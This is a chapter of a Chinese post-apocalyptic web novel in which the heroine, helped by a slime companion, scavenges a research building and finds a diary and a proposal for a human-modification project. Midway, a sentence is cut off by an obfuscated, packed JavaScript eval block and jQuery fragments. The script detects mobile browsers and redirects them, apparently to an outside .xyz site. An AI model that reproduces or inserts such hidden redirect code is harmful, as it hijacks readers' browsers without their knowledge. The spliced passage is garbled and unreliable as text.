房车停在中心大楼不远处，谢月拿出一罐牛奶蹲下来，将牛奶放在黑水面前，轻声开口：“可以帮我去引开它吗？一个小时就行了。”


    以昨晚黑水向她表明的情况来看，它在那栋大楼里面已经住了不短时间，既然它能在高级血人手底下存活必然有它的优势。


    谢月也不过是抱着试一试的想法，没想到黑水“吨吨吨”几下喝完牛奶，扭动着乳白色的身躯快速滑向大楼。


    回到驾驶位，她左手握紧方向盘，右手拿起晾衣棍，脚放在油门上。确保一旦发现不对劲，立马就能跑。


    时间一分一秒过去，谢月几乎不敢眨眼。


    一楼忽然传来两声嘶吼，谢月浑身一震，进入一级戒备状态。先出来的是那团醒目的乳白色液体，紧接着身后跟着一只两米多的怪物，一怪一水都没有看向房车藏匿处，速度非常快，不出片刻就消失在视线范围中。


    谢月启动房车，将它停在门口，弓着身子溜进大楼。


    昨天打斗的有些乱的大厅已经被收拾干净，谢月没有停留，轻车熟路跑上楼。


    二楼被她打开的门已经关好，谢月掏出钥匙，钥匙在里面一提一顿，铁门发出尖锐的“吱呀”声，颤颤巍巍打开。谢月等在拐角处，确定没有什么问题才继续前进。


    一上三楼平台，正对面便是江源的办公室，昨天被血人撕成两半的门此刻已经被修补好，只是有些粗糙，中间那道缝隙歪歪扭扭，下半部分门也装反了。


    但不管怎么说，确实算得上是一个可以遮挡人视线的门。


    不难看出这出自谁的手笔。昨天那怪物盯着被毁坏的门出神时，她就隐隐约约觉得哪里不对劲。再加上今天被修复的门。


    就好像，这里对它来说是很珍贵的东西。


    这个想法一出来几乎吓了她一跳。


    不过转念一想，如果男人说的没错，血人是由江源研究出来的，那这些血人很可能不是凭空产生的，而是用他们身边的生物。


    一个有着一定智慧且对这栋楼很珍视的生物。


    谢月不急着下定论，她要接着完成昨天没有做完的工作。


    卫生间斜对面是副主任李树一的办公室，与其他房间不同，门一打开，整个房间满满当当塞满了各种物品。


    办公室几乎堪比小卖部，速食食品和日用品都是成堆摆放，就连军旅床和棉被之类的床上用品也是应有尽有。


    只是上面都堆满了灰尘，看来也是很久没人用了。


    谢月忍不住惊叹一声，这是把家给搬来了吧。


    谢月一边猜测可能是此人太过敬业，一边手不停歇搜集物资，这些东西大多都是食物和纸巾之类的消耗品。另外就是刚才发现床和三套没拆封的牙膏牙刷。


    至于她想找的关于此人的介绍信息却是没有。谢月不放弃，这房间这么多杂物，总会有一两个没被带走的和他们有关的东西。


    更加仔细的翻找，不放过每一个角落。她甚至从铁皮柜下面掏出一只泛黄的袜子。


    谢月嫌弃地丢开，继续趴在地上用手伸进底部，手指左右移动，一片冰凉的触感之后，指尖触碰到一个牛皮质感的物品。


    谢月咳嗽两声，将上面的灰掸开。纯黑牛皮面，没有其他的文字，纸张有些泛黄，应该是丢在这里很久了。


    翻开第一页，她就知道这是什么东西——李树一的日记本！


    昨晚上黑水就是在他的照片位置来回打转，她猜测黑水是想提醒她来这个房间。这下还真让她发现了好东西。


    谢月将笔记本收好，打算等黑水回来给它加餐。


    手电筒的光照在对面卫生间，依旧是那个样子，只是昨天她取走照片的位置现在也涂上了暗红色的液体。


    她收回目光，楼上还有两层，她得加快速度。


    四楼只有一个大房间，四周都是透明玻璃，中间是超大圆桌，两边还有大屏幕显示屏，“恒飞科技中心”的会议室和卫生间。依旧先去卫生间把洗手液收走。


    会议室最前面有一台电脑，谢月走过去想要看看能否在里面找出一些有用的资料。


    文件一片空白，谢月浏览一圈，发现机子依旧被人恢复出厂设置。显然早已有人有所防备。她对此结果没多意外，本来也只是想看看自己70的幸运值能不能撞到什么大运。


    虽然四楼会议室的电脑没有收获，但四楼的椅子比下面办公室的舒服多了，谢月毫不客气拿走三把。


    五楼入口是比二楼更厚的门，像她见过的实验室的门。这种门凭外力很难破坏，门上只有一道密码锁。


    谢月早有准备，从包里拿出昨晚黑水给的密码，一一比对输入。


    “滴——”最后一位数字输入，门发出清脆的解锁声，启动向左侧移动。谢月等不及它全部挪开，有了一人通的位置，她已经闪身进入。


    过道全是特殊的亮面材料，带着消音鞋套都免不了发出物体碰撞的声音。从左至右一共八个房间，除了最右边那间房，其他每一个房间门上都有一片透明玻璃。


    不知道里面还有没有什么病毒存在，谢月不敢轻易进入，先贴在最近的门上观察。


    房间里乱糟糟的，看得出来这些人走的时候很匆忙。接着一个一个科研室挨着看过去，每个房间都是差不多的情况。


    谢月先进入最右边的房间。房间很小，没有窗，一进去就有种医院消毒水的气味。她并不排斥，进去将里面还剩下的半箱防护服和几个防毒面罩拿出一套，其他全部塞进空间手链。


    她以前是文科生并没有做过实验，第一次穿防护服的手法还略显生疏。好不容易把一套穿好，竟然头上还出了一层薄汗。


    谢月不敢耽误，先打开最乱的科研室。里面的公式推演她看不太懂，继续翻箱倒柜地找。直到翻到一张纸，上面有几个用红笔写上去的字。


    “生物改造计划提议……落款人，李树一。”谢月顺着封面读出来，大致翻开看了一眼。心脏砰砰直跳，里面大致讲述了如何改造人类，让人类的身躯变强壮、速度变快、攻击力更强……


    这些特征的描述与如今血人的特征几乎吻合！


    谢月再次翻看一遍，整个提议讲的都是优化人类计划，并不是将人变成这样不人不鬼的样子。


    难道是实验事故？


    可是今天那个男人说恒飞科技研发中心的主任还在继续研究血人，他们怎么会不知道实验已经失败？


    谢月皱着眉，正欲去其他地方寻找线索。手腕处发出警报声。


    这是她出发前在系统商城买的计时手环。设置了一个小时倒计时，此时只剩下五分钟。


    她的幸运值帮的了她一次两次，但谁知道会不会帮她三次四次。谢月不敢赌，只能收拾好东西往楼下跑。


    再说，今天的收获已经够多。


    等她回到车上刚坐定，远处可见一个血红色的身影快速逼近，三两下就消失在大楼处。


    黑水竖着尾巴，比离开速度快百倍滑动，从谢月给它专门留的小缝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054827|162868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    隙钻进来。一进到车里，它又变成那副懒散的模样，滑倒谢月身边，把尾巴摇来摇去，一副求表扬的样子。


    “干得真棒！”对于业绩出色的同事，谢月毫不吝啬自己的夸奖。


    黑水摇着尾巴尖，折下朝谢月的方向伸过来。


    谢月有时候觉得自己有些语言天赋，比如说现在，她大致能猜到黑水再向她讨要奖励。


    “专门给你找了三箱牛奶。”谢月拿出从李树一那里搜来的三箱奶堆在它面前。


    黑水将身子全部滩在牛奶盒上，就像是显示自己主权的小动物：“叽！”好！


    一人一水都收获满满、高高兴兴离开。


    谢月依旧选择人烟稀少的那条路线，将车开往主城区北部。昨天的位置没有被其他生物占去，她继续将车停进去。


    车外灯关闭，车内重新亮起灯光，谢月也是迫不及待窝在沙发上清理今天的物资。


    今天没什么大件物品，主要是在李树一那里找到的各种食物和日用品。谢月将它们在铁皮柜中一一码好，装不下的食物就整齐的堆在回形针里。


    光是吃的各类速食产品都有七八箱，一天三餐来计算都够她吃两个月。纸巾也是成箱的堆放，现在的她已经可以算得上是纸巾大户。


    还有未开封的银白色保温杯和饭盒，上面均刻有“恒飞科研中心”的字样。一般这种单位里发的东西都是外观不起眼，但质量非常上乘。


    谢月将两样东西洗干净，之前她没有碗，一直是用小锅充当，这下总算是可以分开使用。用不上的保温杯也暂时收捡起来。


    撤出一张黄白色格纹的桌布铺在桌上，这个桌布边沿有一个小洞，被李树一丢在了角落里，正好被谢月捡了回来。


    有总比没有好，她也不在乎有没有什么破洞。


    大片的黄白色遮住原本的猪肝色桌面，这样明媚的颜色让谢月只觉得心情大好。同时把旁边的办公椅换成会议室的牛皮软垫椅。椅子一安装好，黑水已经顺着椅子腿爬上去，抱着牛奶躺在上面。


    那优哉游哉的模样让谢月忍俊不禁。刚好一个椅子一个沙发，她们一人一个。


    最后是她在李树一床上拆下的一床羽绒被、一整套未开封的床上四件套和一个可以晒被子的落地晾衣架。


    谢月将系统奖励的棉被垫在下面当作床垫。她的床比李树一的军旅床摇大一些，原本在李树一床上卷在一起羽绒被可以完全展开。


    她忍不住躺在床上，身下柔软的触感让她只觉得这辈子值了。


    躺了十来分钟，身上的疲惫一扫而光。她接着起身将四件套洗了，用落地晾衣架放在进门的地方。


    所有杂事做完，她躺在沙发上长呼一口气。还有两天时间就要去乘舟基地。谢月不敢耽搁，把今天拿到的日记本和提议都放在桌上。


    害怕自己遗漏什么消息，谢月逐字逐句阅读。时间静下来，等她再抬头时，天色已经暗下来。


    【19:05】


    谢月揉了揉有些酸涩的眼眶，让自己扔进沙发里。


    这个提议和自己之前看的内容差不多。人类从有意识以来一直向往着拥有更为强大的力量，从她手里这份内容来看，李树一的提议确实是有助于人类进化的。


    只是不知道中间哪处出了纰漏造成现在这幅场面。


    至于另外一本日记本……


    泛黄的纸张摊开在桌面上，上面写满了密密麻麻的字，却是一个人的名字——


    “江源”。